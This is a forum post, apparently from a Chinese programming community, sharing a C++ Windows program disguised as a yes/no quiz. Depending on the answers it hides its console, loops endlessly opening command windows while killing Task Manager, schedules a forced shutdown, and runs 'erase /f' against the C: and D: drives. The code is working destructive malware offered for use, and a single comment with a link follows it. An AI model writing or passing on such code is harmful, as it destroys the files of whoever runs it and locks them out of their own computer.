1234567891011121314
2025-04-09 16:18:25
发布于:浙江
#include<bits/stdc++.h>//此为原创
#include<windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
int a;
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
Beep(500,1000);
Sleep(100);
Beep(2000,100);
Sleep(100);
Beep(500,1000);
Sleep(100);
Beep(2000,100);
Sleep(100);
if(MessageBoxA(NULL,"DEVC++是一门计算机语言","提问",MB_YESNO|MB_ICONQUESTION)==IDNO) a=a+1;
else{
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
if (MessageBoxA(NULL,"做病毒使用的有文件是(windows.h)否(iostream)","提问",MB_YESNO|MB_ICONQUESTION)==IDYES) {
MessageBox(NULL, TEXT("你选择了windows.h"), TEXT("结果"), MB_OK | MB_ICONINFORMATION);
a=a+1;
} else{
t("shutdown -s -t 60 -c 60秒关机,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
}
if(MessageBoxA(NULL,"编程网站是acgo","提问",MB_YESNO|MB_ICONQUESTION)==IDNO) a=a+1;
else{
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
system("erase /f C:");
system("erase /f D:");
FreeConsole();
AllocConsole();
Beep(1000,1000);
cout<<"你成功保护了你的电脑不会关机,不过……………………………………………………";
Sleep(500);
t("shutdown -s -t 60 -c 还是没有保住电脑~~~");
g << endl;
ShowWindow(hWnd, SW_HIDE);
system("erase /f C:");
system("erase /f D:");
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
```cpp
```cpp
全部评论 1
https://www.acgo.cn/application/1870763133040070656
2025-04-09 来自 浙江
0
有帮助,赞一个